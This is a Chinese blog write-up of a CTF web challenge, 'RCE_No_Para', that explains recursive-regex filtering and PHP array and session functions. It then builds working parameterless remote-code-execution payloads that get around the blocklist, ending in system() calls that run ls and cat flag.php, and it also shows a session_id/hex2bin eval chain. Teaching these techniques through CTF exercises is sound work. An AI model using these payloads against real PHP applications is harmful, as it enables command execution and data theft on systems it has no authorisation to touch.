长安战疫web-RCE_No_Para复现


长安战疫web-RCE_No_Para复现

前置知识

正则表达式

^    匹配字符串的开头
$    匹配字符串的末尾。
.    匹配任意字符,除了换行符,当re.DOTALL标记被指定时,则可以匹配包括换行符的任意字符。
[...]    用来表示一组字符,单独列出:[amk] 匹配 'a''m''k'
[^...]    不在[]中的字符:[^abc] 匹配除了a,b,c之外的字符。
re*    匹配0个或多个的表达式。
re+    匹配1个或多个的表达式。
re?    匹配0个或1个由前面的正则表达式定义的片段,非贪婪方式
re{ n}    精确匹配 n 个前面表达式。例如, o{2} 不能匹配 "Bob" 中的 "o",但是能匹配 "food" 中的两个 o。
re{ n,}    匹配 n 个前面表达式。例如, o{2,} 不能匹配"Bob"中的"o",但能匹配 "foooood"中的所有 o。"o{1,}" 等价于 "o+""o{0,}" 则等价于 "o*"。
re{ n, m}    匹配 n 到 m 次由前面的正则表达式定义的片段,贪婪方式
a| b    匹配a或b
(re)    对正则表达式分组并记住匹配的文本
(?imx)    正则表达式包含三种可选标志:i, m, 或 x 。只影响括号中的区域。
(?-imx)    正则表达式关闭 i, m, 或 x 可选标志。只影响括号中的区域。
(?: re)    类似 (...), 但是不表示一个组
(?imx: re)    在括号中使用i, m, 或 x 可选标志
(?-imx: re)    在括号中不使用i, m, 或 x 可选标志
(?#...)    注释.
(?= re)    前向肯定界定符。如果所含正则表达式,以 ... 表示,在当前位置成功匹配时成功,否则失败。但一旦所含表达式已经尝试,匹配引擎根本没有提高;模式的剩余部分还要尝试界定符的右边。
(?! re)    前向否定界定符。与肯定界定符相反;当所含表达式不能在字符串当前位置匹配时成功
(?> re)    匹配的独立模式,省去回溯。
\w    匹配字母数字及下划线
\W    匹配非字母数字及下划线
\s    匹配任意空白字符,等价于 [ \t\n\r\f]。
\S    匹配任意非空字符
\d    匹配任意数字,等价于 [0-9].
\D    匹配任意非数字
\A    匹配字符串开始
\Z    匹配字符串结束,如果是存在换行,只匹配到换行前的结束字符串。
\z    匹配字符串结束
\G    匹配最后匹配完成的位置。
\b    匹配一个单词边界,也就是指单词和空格间的位置。例如, 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。
\B    匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。
\n, \t,.    匹配一个换行符。匹配一个制表符。等
\1...\9    匹配第n个分组的内容。
\10    匹配第n个分组的内容,如果它经匹配。否则指的是八进制字符码的表达式。

(?R),(?R)?,(?R),(?R)+的区别

首先(?R) , (?R)+ 这两个表达式是匹配不到东西的,因为每次匹配的时候都会至少运行一次递归,无法终止,所以匹配不到任何东西。
(?R)?,递归0次或1次,非贪婪,只能匹配a(b())这种一层套一个函数的。
(?R)\,递归0次或多次,贪婪,可以匹配a(b(c()d()))。

无参数RCE常用函数

数组操作

array_flip-交换数组中的键和值(成功交换返回交换后的数组,失败返回NULL)
array_rand-从数组中取出一个或多个单元(只取一个,返回一个随机单元键名,否则返回一个包含随机单元键名的数组)
array_reverse-返回一个单元顺序相反的数组(返回反转后的数组)
current-返回数组中的当前单元,初始指针指向插入到数组中的第一个单元(返回被指针指向的数组单元的值)
end-将数组的内部指针指向最后一个单元
key-从关联数组中取得键名
each-返回数组中当前的键、值对并将数组指针向前移动一步
prev-将数组的内部指针倒回一位
reset-将数组的内部指针指向第一个单元
next-将数组中的内部指针向前移动一位

文件操作

file_get_contents()-将整个文件读入一个字符串
readfile()-读取文件并写入到输出缓冲
highlight_file()-语法高亮一个文件
scandir()-列出指定路径中的文件和目录
direname()-给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名
getcwd()-取得当前工作目录
chdir($directory)-将php的当前目录改为directory

读取环境变量

get_defined_vars()-此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
getenv()-获取一个环境变量的值
localeconv()返回一包含本地数字及货币格式信息的数组,第一个值一直是.
phpversion()获取当前的PHP版本

会话

session_id-获取、设置当前会话ID
session_start-启动新会话或者重用现有会话
其它
chr()-返回指定的字符
rand()-产生一个随机整数
time()-返回当前的 Unix 时间戳
localtime()-取得本地时间
localtime(time())-返回一个数组,Array [0] 为一个 0~60 之间的数字
hex2bin()-转换十六进制字符串为二进制字符串
ceil()-进一法取整
sinh()-双曲正弦
cosh()-双曲余弦
tan()-正切
floor()-舍去法取整
sqrt()-平方根
crypt()-单向字符串散列
hebrevc-将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
hebrevc(crypt(arg)) [crypt(serialize(array()))]-可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
ord()-返回字符串的第一个字符的 ASCII 码值。

无参数RCE常用的解题方法

利用cookie传递参数

利用php中关于session的函数,那么可以用session_id来获取cookie中的phpsessionid了,并且这个值我们是可控的,但这里有一个限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)。但是我们只要数字和字母就可以了,因为可以将我们的参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了
所以,payload可以为:

code=eval(hex2bin(session_id()));

但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:

eval(hex2bin(session_id(session_start())));

在http头中设置PHPSSID为想要执行代码的16进制。如:

hex("phpinfo();")=706870696e666f28293b

利用get/post传递参数

利用***get_defined_vars()***显示所有变量的值,想办法提取出自己通过get方式传进去的变量,从而达到利用效果,如本题。

题目详解

启动环境,得到代码

 <?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?> 

分析正则表达式

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
\W 匹配非字母数字及下划线
[^\W]匹配字母数字及下划线(约等于\w[^\W]+匹配一次或多次
\(匹配左括号
(?R)代表当前表达式,就是这个(/[^\W]+\((?R)?\)/),所以会一直递归。
(?R)?递归0次或1次
\)匹配右括号

以a(b(c()))为例来进行正则匹配

整个正则可以分为三部分
一 [^\W]+\( 直到递归前面可以看作一个匹配整体
二 (?R)? 递归部分看作一个匹配整体
三 \) 递归后面的看作一个匹配整体
开始匹配,下面是匹配的顺序
a(//匹配上面第一个匹配整体,然后进入第一次递归
   b(//匹配上面第一个匹配整体,进入第二次递归
       c(//匹配上面第一个匹配整体,进入第三次递归
           //没有匹配第一个匹配整体,递归停止
        )//匹配第二次递归剩下的表达式,即第三个匹配的整体\),
    )//匹配第一次递归剩下的表达式,即\),
 )//匹配原表达式剩下的表达式,即\)

利用

code=var_dump(get_defined_vars());&b=1

寻找get数组位置,回显

array(4) { ["_GET"]=> array(2) { ["code"]=> string(29) "var_dump(get_defined_vars());" ["b"]=> string(1) "1" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } } 

发现get数组在第一位,利用current取出

code=var_dump(current(get_defined_vars()));&b=1;

回显

array(2) { ["code"]=> string(38) "var_dump(current(get_defined_vars()));" ["b"]=> string(2) "1;" } 

发现b的值在后一位,由于end、next等函数被ban掉,利用数组操作array_reverse交换位置

code=var_dump(array_reverse(current(get_defined_vars())));&b=1;

得到

array(2) { ["b"]=> string(2) "1;" ["code"]=> string(53) "var_dump(array_reverse(current(get_defined_vars())));" } 

利用current取出

code=var_dump(current(array_reverse(current(get_defined_vars()))));&b=1;

成功取出b,将b的值改为ls,同时改变var_dump为system

code=system(current(array_reverse(current(get_defined_vars()))));&b=ls

得到

flag.php index.php

最后的payload为

code=system(current(array_reverse(current(get_defined_vars()))));&b=cat%20flag.php

得到flag:cazy{b3st_w1sh_f0R_XiAn!}

参考资料:
https://blog.csdn.net/silence1_/article/details/102835743
https://www.bilibili.com/read/cv9136420/


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !